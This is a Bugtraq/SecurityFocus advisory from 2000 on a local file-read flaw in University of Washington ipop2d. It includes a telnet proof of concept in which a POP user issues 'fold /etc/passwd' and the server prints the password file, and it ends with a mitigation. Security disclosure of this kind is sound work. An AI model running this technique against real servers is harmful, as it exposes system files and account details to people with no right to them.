Univ. of Washington pop2d Remote File Read Vulnerability

Bugtraq ID:	1484
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Jul 14 2000 12:00AM
Updated:	Jul 14 2000 12:00AM
Credit:	This vulnerability was reported to SecurityFocus.com on July 14, 2000 by <[email protected]>
Vulnerable:	University of Washington pop2d 4.55 + University of Washington imap 4.7 c + University of Washington imap 4.7 b + University of Washington imap 4.7 a + University of Washington imap 4.7 University of Washington pop2d 4.54 + University of Washington imap 4.6 University of Washington pop2d 4.51 + University of Washington imap 4.5 University of Washington pop2d 4.46 + University of Washington imap 4.4
Not Vulnerable:

Univ. of Washington pop2d Remote File Read Vulnerability

A vulnerability exists in versions of the ipop2d daemon, through version 4.55. ipop2d is part of the University of Washington imap package. Versions through 4.7c of the imap package are affected. Any user who has a pop account on the machine can view any world or group readable file on the file system. While on a shell account this is not a vulnerability, on a machine where a user only has POP access, this could result in the disclosure of information that might be useful in gaining information about other users on the system. This could in turn potentially be used to gain further access to the machine.

For this vulnerability to exist, the user must have an account on the system in question. This account does not need shell level access.

ipop2d, and the imap package, will run on many varieties of Unix and Unix-like operating systems.

Univ. of Washington pop2d Remote File Read Vulnerability

[mandark@mandark mandark]$ telnet localhost 109
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
+ POP2 localhost.localdomain v4.46 server ready
helo mandark blehpasshere
#1 messages in /var/spool/mail/mandark
read 1
=389 characters in message 1
retr
Return-Path: <[email protected]>
Received: (from root@localhost)
by mandark.jumpline.com (8.10.1/8.10.1) id e6EGS7C27037
for mandark@localhost; Fri, 14 Jul 2000 12:28:07 -0400
Date: Fri, 14 Jul 2000 12:28:07 -0400
From: root <[email protected]>
Message-Id: <[email protected]>
To: [email protected]
Status: RO

message is here...

acks
=0 No more messages
fold /etc/passwd
#1 messages in /etc/passwd
read 1
=1178 characters in message 1
retr
Date: Thu, 13 Jul 2000 16:50:07 -0400
From: [email protected]
Subject: /etc/passwd
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:101:X Font Server:/etc/X11/fs:/bin/false
postfix:x:101:104:postfix:/var/spool/postfix:
gdm:x:0:0::/home/gdm:/bin/bash
mandark:x:500:503::/home/mandark:/bin/bash
godie:x:0:0::/home/godie:/bin/bash
mp3:x:501:506::/mp3:/bin/bash
chefo:x:502:507::/home/chefo:/bin/bash
crunch:x:503:508::/home/crunch:/bin/bash
gsx:x:505:510::/home/gsx:/bin/csh
matt:x:506:511::/home/matt:/bin/bash
lyw0d:x:507:512::/home/lyw0d:/bin/bash

Univ. of Washington pop2d Remote File Read Vulnerability

Solution:
Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Disabling the ipop2d daemon will eliminate this vulnerability. It is typically executed by inetd, and is configured via the /etc/inetd.conf file.

Univ. of Washington pop2d Remote File Read Vulnerability

References: